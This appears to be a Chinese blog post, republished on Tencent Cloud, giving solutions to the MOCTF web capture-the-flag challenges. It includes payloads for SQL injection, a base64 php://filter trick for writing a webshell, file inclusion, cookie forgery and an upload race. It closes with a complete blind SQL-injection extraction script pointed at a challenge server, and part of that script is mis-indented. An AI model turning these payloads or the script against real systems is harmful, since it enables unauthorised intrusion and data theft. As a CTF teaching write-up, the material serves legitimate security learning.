前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >MOCTF WEB 题解

MOCTF WEB 题解

作者头像
安恒网络空间安全讲武堂
发布2018-03-20 17:34:12
1.4K0
发布2018-03-20 17:34:12
举报

0x00

MOCTF平台是CodeMonster和Mokirin这两支CTF战队所搭建的一个CTF在线答题系统。网址是http://www.moctf.com/。

Web题做下来感觉难度适中,也不乏有意思的题目。

0x01 签到

加入qq群即可

0x02 一道水题

F12查看源码,flag在源码中

0x03 还是水题

网页中有一个提交按钮,根据提示输入moctf,但是input标签的属性被设置为disabled和最大长度为4

去掉这两个属性再提交即可

0x04 访问限制

根据网页提示”只允许使用NAIVE浏览器访问!”和”只允许中国香港记者访问!”修改HTTP请求头为

0x05 机器蛇

信息泄露,存在robots.txt

访问php文件,在注释中拿到flag

0x06 PHP黑魔法

同样是信息泄露,这里是vim的自动备份文件index.php~

拿到源码

明显看出是0e[0-9]+格式的字符串在进行弱类型比较时会按照科学计数法后比较,因此找出两个原文不同,md5后符合上述格式的字符串即可,可以直接搜到网上现成的

0x07 我想要钱

比较简单,利用科学计数法绕过,money=3e9

0x08 登录就对了

最简单的sql注入

name='||1#&pass=1

登录后即有flag

0x09 Flag 在哪?

比较脑洞的一道题

访问flag.php后会发生多次跳转,依次为

flag.php -> where_is_flag.php -> I_have_a_flag.php -> I_have_a_frog.php -> no_flag.php

根据题目的提示

搜到PPAP这首歌,根据歌词的规律猜测出flag的地址为flagfrog.php

0x0A 死亡退出

给出了题目源码

想到了P师傅之前分析过的文章

利用php的base64 decode在遇到除了[a-zA-Z0-9+/]之外的字符时会跳过的特性,结合php伪协议,让写入的字符串为<?php exit;?>和我们的base64 encode后的webshell,前面的解码后因没有实际意义,所以被php直接输出,从而成功写入webshell。

需要注意$c原本有多少个可解码字符,在这里为7个,所以我们后面要添加1个

发起请求

成功执行命令

0x0B 文件包含

file参数可以包含文件

猜测后台代码这样 include(‘./’.$_GET[‘file’]);

有 ../ 时会返回 Wrone Answer,因此这里不能返回上层目录

经过测试和welcome.txt同级的目录下存在flag.php,因此直接包含即可

0x0C 美味的饼干

输入人以用户名密码登录后查看cookie

ZWUxMWNiYjE5MDUyZTQwYjA3YWFjMGNhMDYwYzIzZWU=

Base64解码后为

ee11cbb19052e40b07aac0ca060c23ee

去md5网站上查询得到user

所以这里是把admin先md5加密再base64 encode,替换掉原cookie,获得flag

0x0D 火眼金睛

给出了随机的一大串文本,提交正确的moctf数量拿到flag

2s网页刷新一次,这里写了个脚本

0x0E 没时间解释了

访问index.php时会302跳转到index2.php,留意index.php的内容得到提示

May be u need uploadsomething.php

是一个上传页面,上传后去访问提示Too slow!

猜测是上传后在很短的时间后就删除了,联想到安恒杯的一道题目,要写一个脚本上传后立刻访问,但是依然提示 Too slow!

于是想到了应该是写入文件和删除文件语句间隔时间较短,这本质上就是一个时间竞争问题,我们只要利用burp开两个intruder,一个一直发上传文件的包,另一个一直发访问文件的包,就会达到在两条语句中间访问到了这个文件的效果

长度为221的即是在删除前成功访问到文件的请求

0x0F 简单注入

虽然是叫简单注入,却是这些题目里分值最高的一道了

我们来仔细分析一下

简单测试下,ban掉了以下字符

根据 'and'1 和 'and'0 的回显不同作为注入的基本点

比如查询数据库名长度的payload是 'and(length(database()))='

注意以下几点

  1. 空格可以用圆括号替换
  2. substr用left替换
  3. 为了避免查询出来的字符串有ban掉的字符,hex后再进行比较
  4. limit可以改成group_concat,直接查出所有数据

解题脚本

# coding=utf-8
import requests
import string
 
url = 'http://119.23.73.3:5004/?id=1'
s = string.printable
 
def getDatabase():
    for i in range(20):
        url2 = url + "'and(length(database()))='" + str(i+1)
        text = getData(url2)
        if 'Hello' in text:
            databaseLen = i+1
            print '[*] The current database length is ' + str(i+1)
            break
    database = ''
    for i in range(databaseLen):
        for j in s:
            url2 = url + "'and(hex(left(database()," + str(i+1) + ")))='" + (database+j).encode('hex')
            text = getData(url2)
            if 'Hello' in text:
                database += j
                #print database
                break
    print '[*] The current database is ' + database
getTables()
 
def getTables():
    tables = ''
    for i in range(50):
        for j in s:
            url2 = url + "'and(select(hex(left(group_concat(table_name)," + str(i+1) + ")))from(information_schema.tables)where(table_schema=database()))='" + (tables+j).encode('hex')
            text = getData(url2)
            if 'Hello' in text:
                tables += j
                #print tables
                break
 
    print '[*] Tables names is : ' + tables
    table = tables.split(',')[0]
getColumns(table)
 
def getColumns(table):
    columns = ''
    for i in range(50):
        for j in s:
            url2 = url + "'and(select(hex(left(group_concat(column_name)," + str(i+1) + ")))from(information_schema.columns)where((table_schema)=database()and(table_name)='" + table + "'))='" + (columns+j).encode('hex')
            text = getData(url2)
            if 'Hello' in text:
                columns += j
                #print columns
                break
 
    print '[*] Columns names is : ' + columns
    column = columns.split(',')[0]
getFlag(table, column)
 
def getFlag(table,column):
    flag = ''
    for i in range(50):
        for j in s:
            url2 = url + "'and(select(hex(left(group_concat(" + column + ")," + str(i+1) + ")))from(" + table + "))='" + (flag+j).encode('hex')            
            text = getData(url2)
            if 'Hello' in text:
                flag += j
                #print flag
                break
print '[*] The flag is: ' + flag
 
def getData(url):
    r = requests.get(url, timeout=10)
return r.text
 
def main():
getDatabase()
 
if __name__ == '__main__':
    main()

输出结果

成功拿到flag

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-02-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档